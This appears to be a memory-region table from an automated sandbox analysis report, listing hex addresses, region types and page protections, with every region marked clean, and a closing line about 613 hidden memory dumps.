20000
heap private
page read and write
clean
28CE000
unkown
page read and write
clean
1D000000
unkown
page read and write
clean
20000
heap private
page read and write
clean
2E57000
unkown
page read and write
clean
6D0000
unkown
page readonly
clean
400000
unkown
page readonly
clean
2D0E000
unkown
page read and write
clean
27C000
unkown
page read and write
clean
28DE000
unkown
page read and write
clean
AC0000
unkown
page readonly
clean
2F61000
unkown
page read and write
clean
D00000
heap private
page read and write
clean
4C9000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
2454000
heap private
page read and write
clean
21A0000
unkown
page read and write
clean
22EE000
stack
page read and write
clean
13A000
stack
page read and write
clean
2D10000
unkown
page write copy
clean
2C32000
unkown
page read and write
clean
2F3F000
unkown
page read and write
clean
2E83000
unkown
page read and write
clean
110000
unkown
page readonly
clean
29AC000
unkown
page read and write
clean
4B5000
unkown
page read and write
clean
2A5F000
unkown
page read and write
clean
2EA000
unkown image
page readonly
clean
3A0000
unkown
page readonly
clean
3E0000
unkown
page read and write
clean
580000
unkown
page readonly
clean
CE000
heap default
page read and write
clean
22C0000
unkown
page read and write
clean
3159000
unkown
page read and write
clean
334000
unkown image
page read and write
clean
4D5000
unkown
page read and write
clean
1DEB000
heap private
page read and write
clean
3EF000
unkown
page read and write
clean
7FF0003A000
unkown
page execute and read and write
clean
870000
unkown image
page readonly
clean
100000
heap default
page read and write
clean
353E000
unkown
page read and write
clean
2D0000
unkown image
page readonly
clean
2560000
heap private
page read and write
clean
420000
unkown image
page execute and read and write
clean
1B2D0000
unkown
page read and write
clean
1C92D000
unkown
page read and write
clean
2BCE000
unkown
page read and write | page guard
clean
457000
heap default
page read and write
clean
3355000
unkown
page read and write
clean
370000
unkown
page readonly
clean
285D000
unkown
page read and write
clean
3070000
unkown
page readonly
clean
1C9AE000
unkown
page read and write
clean
400000
unkown image
page readonly
clean
12C01000
unkown
page read and write
clean
D0000
unkown
page readonly
clean
286F000
unkown
page read and write
clean
1B3E0000
unkown
page read and write
clean
180000
unkown
page readonly
clean
2F10000
unkown
page read and write
clean
1D4F000
unkown
page read and write
clean
150000
heap private
page read and write
clean
22C0000
unkown
page read and write
clean
2F2000
unkown image
page execute and read and write
clean
90000
unkown
page read and write
clean
3030000
heap private
page read and write
clean
24B0000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
2FD2000
unkown
page read and write
clean
2EEA000
unkown
page read and write
clean
465000
unkown image
page write copy
clean
2690000
unkown
page read and write
clean
A40000
heap private
page read and write
clean
4B8000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
2360000
unkown
page read and write
clean
380000
unkown
page read and write
clean
550000
unkown
page readonly
clean
3502000
unkown
page read and write
clean
1EC0000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
2A70000
unkown
page readonly
clean
2E0C000
unkown
page read and write
clean
2472000
heap private
page read and write
clean
120000
heap private
page read and write
clean
25B0000
unkown
page readonly
clean
8A0000
unkown
page readonly
clean
23C0000
unkown
page readonly
clean
A62000
heap private
page read and write
clean
7C4000
heap default
page read and write
clean
E0000
unkown
page read and write
clean
3518000
unkown
page read and write
clean
2410000
unkown
page readonly
clean
2F26000
unkown
page read and write
clean
3512000
unkown
page read and write
clean
800000
heap private
page read and write
clean
270000
heap default
page read and write
clean
843000
heap default
page read and write
clean
1DA000
stack
page read and write
clean
7FF00210000
unkown
page read and write
clean
400000
unkown image
page readonly
clean
A40000
heap private
page read and write
clean
720000
unkown image
page readonly
clean
240000
unkown
page read and write
clean
235000
unkown
page read and write | page guard
clean
124000
heap private
page read and write
clean
750000
unkown
page readonly
clean
7DD000
heap default
page read and write
clean
3FE000
heap default
page read and write
clean
4CA000
heap default
page read and write
clean
142000
heap private
page read and write
clean
100000
unkown
page read and write
clean
1B58D000
unkown
page read and write
clean
1F40000
unkown
page readonly
clean
2E9D000
unkown
page read and write
clean
7FF00042000
unkown
page execute and read and write
clean
280000
unkown image
page readonly
clean
1B0000
unkown
page execute and read and write
clean
124000
heap private
page read and write
clean
890000
unkown image
page execute and read and write
clean
2CB000
unkown
page read and write
clean
7FF00220000
unkown
page execute and read and write
clean
3D4000
heap private
page read and write
clean
AA0000
heap private
page read and write
clean
2F7F000
unkown
page read and write
clean
2B7E000
unkown
page read and write
clean
2E3A000
unkown
page read and write
clean
190000
unkown
page read and write
clean
4CA000
unkown
page read and write
clean
30D2000
unkown
page read and write
clean
A30000
heap private
page read and write
clean
2E0000
unkown
page read and write
clean
1C10000
unkown
page read and write
clean
AF0000
heap private
page read and write
clean
3505000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
48A000
heap default
page read and write
clean
7FF00190000
unkown
page execute and read and write
clean
20E7000
unkown
page readonly
clean
270000
unkown
page readonly
clean
2BCF000
unkown
page read and write
clean
2E60000
unkown
page write copy
clean
3156000
unkown
page read and write
clean
2400000
unkown
page readonly
clean
2C36000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
2450000
heap private
page read and write
clean
804000
heap default
page read and write
clean
2884000
unkown
page read and write
clean
277000
heap default
page read and write
clean
2BF4000
heap private
page read and write
clean
27CD000
unkown
page read and write
clean
34E9000
unkown
page read and write
clean
7A0000
heap default
page read and write
clean
1E40000
unkown
page readonly
clean
743000
unkown image
page execute read
clean
10B000
unkown
page read and write
clean
400000
unkown image
page readonly
clean
22C0000
unkown
page read and write
clean
C0000
unkown
page execute and read and write
clean
9B000
unkown
page read and write
clean
8DA000
unkown image
page readonly
clean
90000
heap default
page read and write
clean
340000
unkown
page write copy
clean
307F000
stack
page read and write
clean
7FF00200000
unkown
page read and write
clean
29B0000
unkown
page readonly
clean
200000
unkown
page execute and read and write
clean
100000
unkown
page read and write
clean
2C01000
unkown
page read and write
clean
7FF00207000
unkown
page read and write
clean
3D2000
heap private
page read and write
clean
7FF002A0000
unkown
page execute and read and write
clean
2420000
unkown
page read and write
clean
2966000
unkown
page read and write
clean
150000
heap private
page read and write
clean
FC000
stack
page read and write
clean
1DC0000
unkown
page readonly
clean
A40000
unkown
page readonly
clean
2FB6000
unkown
page read and write
clean
7FF001E0000
unkown
page read and write
clean
97000
heap default
page read and write
clean
60000
unkown
page readonly
clean
1B4C7000
unkown
page read and write
clean
1B880000
unkown
page write copy
clean
2320000
unkown
page readonly
clean
12EB2000
unkown
page read and write
clean
1FF0000
unkown
page readonly
clean
2AD000
heap default
page read and write
clean
434000
heap default
page read and write
clean
3153000
unkown
page read and write
clean
80000
unkown
page write copy
clean
22C0000
unkown
page read and write
clean
230000
unkown
page readonly
clean
7FF00240000
unkown
page execute and read and write
clean
2BF7000
heap private
page read and write
clean
16C000
unkown
page read and write
clean
27000
heap private
page read and write
clean
487000
heap default
page read and write
clean
E0000
unkown
page read and write
clean
26C000
unkown
page read and write
clean
3C0000
unkown
page readonly
clean
ABD000
stack
page read and write
clean
238A000
unkown
page read and write
clean
437000
heap default
page read and write
clean
2AB0000
unkown
page readonly
clean
292F000
unkown
page read and write
clean
1D10000
unkown
page readonly
clean
530000
unkown
page readonly
clean
468000
unkown image
page write copy
clean
2F33000
unkown
page read and write
clean
B0000
unkown
page readonly
clean
7FFFFF10000
unkown
page execute and read and write
clean
1D60000
unkown
page readonly
clean
7FF00032000
unkown
page execute and read and write
clean
1B4C9000
unkown
page read and write
clean
4DB000
heap default
page read and write
clean
20000
unkown
page readonly
clean
22F0000
heap private
page read and write
clean
60000
unkown
page readonly
clean
2FB3000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
7FF001F0000
unkown
page execute and read and write
clean
465000
unkown image
page write copy
clean
294000
heap default
page read and write
clean
2A30000
heap private
page execute and read and write
clean
7FF0026A000
unkown
page execute and read and write
clean
284E000
stack
page read and write
clean
2127000
unkown
page readonly
clean
400000
unkown image
page readonly
clean
22C0000
unkown
page read and write
clean
1BA80000
heap private
page read and write
clean
4C6000
unkown
page read and write
clean
22A0000
unkown
page readonly
clean
317F000
unkown
page read and write
clean
3531000
unkown
page read and write
clean
46A000
unkown image
page readonly
clean
D0000
unkown
page read and write
clean
50D000
heap default
page read and write
clean
240E000
unkown
page read and write
clean
A44000
heap private
page read and write
clean
2B2D000
unkown
page read and write
clean
3541000
unkown
page read and write
clean
5D0000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
270000
heap default
page read and write
clean
2570000
unkown
page readonly
clean
236A000
unkown
page read and write
clean
46D000
heap default
page read and write
clean
22E0000
unkown
page readonly
clean
1A0000
unkown
page readonly
clean
920000
heap private
page read and write
clean
352E000
unkown
page read and write
clean
7FF00180000
unkown
page execute and read and write
clean
2F90000
unkown
page read and write
clean
2E51000
unkown
page read and write
clean
22F4000
heap private
page read and write
clean
2E80000
unkown
page read and write
clean
1F00000
unkown
page readonly
clean
2930000
unkown
page read and write
clean
3528000
unkown
page read and write
clean
1FA7000
unkown
page readonly
clean
3B4000
heap private
page read and write
clean
3B1C000
unkown
page read and write
clean
2FEF000
unkown
page read and write
clean
7EFDF000
unkown
page read and write
clean
2380000
heap private
page read and write
clean
260000
heap private
page read and write
clean
12C2C000
unkown
page read and write
clean
20A7000
unkown
page readonly
clean
12D71000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
1CE07000
unkown
page readonly
clean
31D8000
unkown
page read and write
clean
9B0000
heap private
page read and write
clean
2F5A000
unkown
page read and write
clean
12E50000
unkown
page read and write
clean
4DE000
heap default
page read and write
clean
3AC4000
unkown
page read and write
clean
D0000
unkown
page read and write
clean
2A3000
unkown image
page execute read
clean
1CBA0000
heap private
page read and write
clean
316000
unkown
page read and write
clean
343C000
unkown
page read and write
clean
1F0000
unkown
page execute and read and write
clean
7EFDF000
unkown
page read and write
clean
31BD000
unkown
page read and write
clean
4E9000
heap default
page read and write
clean
3D0000
heap private
page read and write
clean
22C0000
unkown
page read and write
clean
54D000
heap default
page read and write
clean
A80000
heap private
page read and write
clean
8F0000
unkown
page read and write
clean
517000
heap default
page read and write
clean
580000
unkown
page readonly
clean
2F65000
unkown
page read and write
clean
1CA7E000
unkown
page read and write
clean
590000
heap default
page read and write
clean
910000
unkown
page read and write
clean
510000
heap default
page read and write
clean
2E76000
unkown
page read and write
clean
282000
unkown
page read and write
clean
507000
heap default
page read and write
clean
140000
unkown
page readonly
clean
1DB5000
heap private
page read and write
clean
2C20000
heap private
page read and write
clean
100000
unkown
page readonly
clean
351B000
unkown
page read and write
clean
3150000
unkown
page read and write
clean
21C000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
3547000
unkown
page read and write
clean
390000
heap private
page read and write
clean
7FF002B0000
unkown
page execute and read and write
clean
503000
heap default
page read and write
clean
1E0000
unkown
page read and write
clean
3BB0000
unkown
page read and write
clean
334B000
unkown
page read and write
clean
120000
unkown
page readonly
clean
1C0000
unkown
page read and write
clean
4C2000
unkown
page read and write
clean
2420000
unkown
page read and write
clean
19C000
unkown
page read and write
clean
2FB0000
unkown
page read and write
clean
3F4000
heap private
page read and write
clean
E0000
unkown
page read and write
clean
870000
unkown image
page readonly
clean
467000
heap default
page read and write
clean
22C0000
unkown
page read and write
clean
24AD000
unkown
page read and write
clean
2840000
unkown
page read and write
clean
170000
heap private
page read and write
clean
289F000
stack
page read and write
clean
350000
heap private
page read and write
clean
1DB0000
heap private
page read and write
clean
210000
unkown
page read and write
clean
4D7000
heap default
page read and write
clean
4F0000
unkown
page readonly
clean
34D9000
unkown
page read and write
clean
E5E000
unkown
page read and write
clean
1E50000
unkown
page readonly
clean
8EE000
unkown
page read and write
clean
2E64000
unkown
page read and write
clean
170000
unkown
page readonly
clean
20000
unkown
page readonly
clean
2F0000
unkown image
page execute and read and write
clean
7FF00270000
unkown
page execute and read and write
clean
20000
unkown
page readonly
clean
27E0000
unkown
page readonly
clean
790000
unkown
page readonly
clean
CBE000
stack
page read and write
clean
140000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
893000
unkown image
page execute read
clean
4CF000
heap default
page read and write
clean
20000
heap private
page read and write
clean
2020000
heap private
page read and write
clean
3C0000
unkown
page readonly
clean
2F43000
unkown
page read and write
clean
422000
unkown image
page execute and read and write
clean
3622000
unkown
page read and write
clean
70000
unkown
page read and write
clean
1E90000
heap private
page execute and read and write
clean
270000
heap default
page read and write
clean
154000
heap private
page read and write
clean
474000
heap default
page read and write
clean
12D11000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
4D0000
heap default
page read and write
clean
B0000
heap private
page read and write
clean
930000
heap private
page read and write
clean
236000
unkown
page read and write
clean
25C000
stack
page read and write
clean
1BB60000
heap private
page read and write
clean
48D000
heap default
page read and write
clean
AF8000
heap private
page read and write
clean
22C0000
unkown
page read and write
clean
4C6000
heap default
page read and write
clean
100000
unkown
page readonly
clean
7FF00132000
unkown
page execute and read and write
clean
3C7000
heap default
page read and write
clean
90000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
240000
unkown
page read and write
clean
30B3000
unkown
page read and write
clean
7FF0010A000
unkown
page execute and read and write
clean
1D6C000
unkown
page readonly
clean
4BA000
heap default
page read and write
clean
7EFDF000
unkown
page read and write
clean
CFE000
unkown
page read and write
clean
21A7000
unkown
page readonly
clean
2490000
unkown
page readonly
clean
22C0000
unkown
page read and write
clean
2A3A000
heap private
page execute and read and write
clean
1CC20000
unkown
page readonly
clean
892000
unkown image
page execute and read and write
clean
2E86000
unkown
page read and write
clean
2BF0000
heap private
page read and write
clean
2A0000
unkown image
page execute and read and write
clean
380000
unkown
page readonly
clean
B10000
heap private
page read and write
clean
2F00000
unkown
page read and write
clean
2C64000
unkown
page read and write
clean
454000
heap default
page read and write
clean
784000
unkown image
page read and write
clean
430000
heap default
page read and write
clean
1E80000
unkown
page readonly
clean
3413000
unkown
page read and write
clean
293E000
unkown
page read and write
clean
7FF001B0000
unkown
page execute and read and write
clean
33A000
unkown image
page readonly
clean
1D50000
unkown
page readonly
clean
2F8E000
unkown
page read and write
clean
7FF00105000
unkown
page read and write
clean
22AE000
stack
page read and write
clean
2FAD000
unkown
page read and write
clean
3F0000
heap default
page read and write
clean
35AA000
unkown
page read and write
clean
22C0000
unkown
page read and write
clean
1C7BE000
unkown
page read and write
clean
788000
unkown image
page write copy
clean
2FC5000
unkown
page read and write
clean
3515000
unkown
page read and write
clean
2F38000
unkown
page read and write
clean
1FC0000
unkown
page readonly
clean
4F4000
heap default
page read and write
clean
2E8000
unkown image
page write copy
clean
There are 613 hidden memdumps, click here to show them.